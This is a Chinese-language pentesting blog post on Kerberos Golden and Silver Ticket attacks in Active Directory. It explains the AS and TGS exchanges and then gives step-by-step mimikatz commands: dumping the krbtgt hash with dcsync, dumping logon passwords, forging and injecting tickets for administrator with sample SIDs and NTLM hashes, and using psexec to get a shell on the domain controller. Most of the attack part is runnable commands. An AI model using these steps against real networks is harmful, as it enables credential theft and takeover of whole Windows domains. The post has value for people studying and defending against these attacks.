前言：学习域权限维持的一种方法，也就是大家所说的Pass The Ticket
传送门：https://www.cnblogs.com/zpchcbd/p/11707302.html
kerberos简述
简单的概述下
Client和AS进行的步骤
KRB_AS_REQ(请求)：
Client->AS：Client 先向 KDC 的 AS 发送 Authenticator1(内容为Client hash加密的时间戳）
KRB_AS_REP(应答)：
AS-> Client：AS根据用户名在AD中寻找是否在白名单中，然后根据用户名提取到对应的NTLM Hash，然后会生成一个随机数session key，然后返回给Client由Client的ntlm hash加密的session key作为AS数据，再返回TGT（使用KDC中krbtgt的NTLM Hash加密session key和客户端的信息，客户端的信息里面包含了时间戳等信息）
AS验证的简述：在 KDC(AD) 中存储了域中所有用户的密码 HASH，当 AS 接收到 Client 的请求之后会根据 KDC 中存储的密码来解密，解密成功并且验证信息。
验证成功后返回给 Client两个东西，一个是由 Client 密码 HASH 加密的 session key 和 TGT（由 KRBTGT HASH 加密的 session key 和 TimeStamp 等信息）。
Client和TGS进行的步骤
TheTicket-Granting Service (TGS) Exchange
KRB_TGS_REQ(请求)：
Client 接收到了加密后的session key-as 和 TGT 之后，先用自身密码 HASH解密得到session key ，TGT 是由 KDC 中KRBTGT的HASH加密，所以Client 无法解密。这时 Client 再用session key加密的TimeStamp，然后再和TGT 一起发送给 KDC 中的 TGS（TicketGranting Server）票据授权服务器换取能够访问 Server 的票据。
KRB_TGS_REP(应答)：
TGS 收到 Client 发送过来的 TGT 和 Session key 加密的 TimeStamp 之后，首先会检查自身是否存在 Client 所请求的服务。如果服务存在，则用 KRBTGT的HASH解密 TGT。
一般情况下 TGS 会检查 TGT 中的时间戳查看 TGT 是否过期，且原始地址是否和 TGT 中保存的地址相同。
验证成功之后将返回Client两个东西，一个是用 session key 加密的 session key-tgs ，然后另一个是 Client要访问的Server的密码 HASH 加密的 TGS（前面和session key加密生成的） 生成就是ST（TGS）
黄金票据
TGT票据是由KDC的krbtgt HASH生成的，其实域中每个用户的TGT都是由krbtgt的密码Hash来计算生成的，因此只要黑客拿到了krbtgt的密码Hash，就可以随意伪造任意服务的ST票据，进而验证ST票据登陆域控制器。使用krbtgt用户hash生成的票据被称为黄金票据 （Golden Ticket）
只要管理员不修改 krbtgt 的密码，则可以随时制造 TGT 进入。
个人理解:
伪造TGT的过程发生在Authentication Service中，也就是AS里面，以上简述就可以发现当Client把TGT发送给KDC的时候，TGT 是由 KDC 中KRBTGT的HASH加密，而在KDC中申请TGS的时候，只对TGT进行解密而不验证TGT是否是正确的，自然我们也就可以进行任意用户的伪造了!
不过我自己想了下，就算验证TGT是否正确那有什么办法呢？因为唯一的控制因素就是krbtgt，我们目前已经知道了这个HASH，那么相当于这个验证已经失效了。
利用条件：
1、krbtgt的NTLM HASH
2、域当前的sid
3、一台域机器的权限
步骤：
1.得到域控的krbtgt的ntlm hash值：
运行mimikatz再lsadump::dcsync /domain:top.pentest.top /user:krbtgt"
mimikatz一次性操作的命令mimikatz.exe privilege::debug "lsadump::dcsync /domain:top.pentest.top /user:krbtgt" exit >> log.txt
2.获取当前域的sid：
注:获取的sid中不需要末尾的4个数字1128 那只是账号的标识符 比如administrator后面为500
一次性步骤：
mimikatz.exe "kerberos::golden /user:administrator /domain:top.pentest.top /sid:S-1-5-21-2174377853-1962599352-171107088 /krbtgt:ae8366a5c4ba8d4b9932fbb20c6c0b1d /ptt" exit
多次步骤：
mimikatz # kerberos::purge
mimikatz # kerberos::golden /admin:Administrator /domain:pentstlab.com /sid:S-1-5-21-2174377853-1962599352-171107088 /krbtgt:ae8366a5c4ba8d4b9932fbb20c6c0b1d /ticket:Administrator.kiribi
mimikatz # kerberos::ptt Administrator.kiribi
mimikatz # kerberos::tgt
参数解析：
kerberos::golden -> 创建黄金票据
user -> administrator伪造的用户
domain域名 -> top.pentest.top
sid -> id域中sid
krbtft -> hash在域控中导出的hash
ppt -> 将伪造的TGS票据插入到内存中以供使用
3.获取域控主机名字：
4.进行认证：
提示：这里我们可以直接利用psexec进行反弹shell，例如psexec /accepteula \\ip -s cmd
总结：
1： 域成员机不能为03与xp及以下 否则mimikatz导入票据时会出错
2： 最后连接为域控计算机全名 不能为IP地址
白银票据
在TGS_REP里面的ticket的enc-part是使用服务的HASH进行加密的，如果我们拥有服务的hash，就可以给我们自己签发任意用户的TGS票据，这个票据也被称为白银票据。相较于黄金票据，白银票据使用要访问服务的hash，而不是krbtgt的HASH，由于生成的是TGS票据，不需要跟域控打交道，但是白银票票据只能访问特定服务。但是要注意的一点是，伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名(关于PAC的详细信息，将在下一篇文章里面详细介绍)，则银票将不起作用。
这中间与域控制器没有通信，即没有AS-REQ 、AS-REP、TGS-REQ、TGS-REP过程，只在应用服务端才会有相应日志，这段话是从《内网针对AD域的攻击方法》中复制的，同样的自己也有疑问：如果AS-REQ和AS-REP都没有的话，那么session key如何产生的呢？因为自己的理解是白银票据伪造的TGS同样是需要session key来进行支撑的，如果没有session key就没有session key-as，也不会进行到后面生成session key-tgs，以后自己理解了再写上去吧！
步骤：
域控08r2 ip:192.168.117.3
域机器 ip:192.168.117.99
1、读取域控08r2的administrator域管的ntlm
mimikatz.exe "log" "privilege::debug" "sekurlsa::logonPasswords" exit
2、在域机器上创建白银票据
格式为kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
注意：sid获取的时候不需要用户的标识符，也就是最后横杆后面的数字
可利用的服务类型有如下：
服务注释 服务名
WMI HOST、RPCSS
Powershell Remoteing HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
LDAP 、DCSync LDAP
Windows File Share (CIFS) CIFS
Windows Remote ServerAdministration Tools RPCSS、LDAP、CIFS
mimikatz.exe "kerberos::golden /domain:pentest.God /sid:S-1-5-21-1467757927-669280065-2619195215 /target:WIN-CKT0M35R6UO /service:CIFS /rc4:044dfa0c35b979ed369f7335b5ea20e0 /user:administrator /ptt" exit
总结：
1.不需要与KDC进行交互
2.需要Server的NTLM hash作为支撑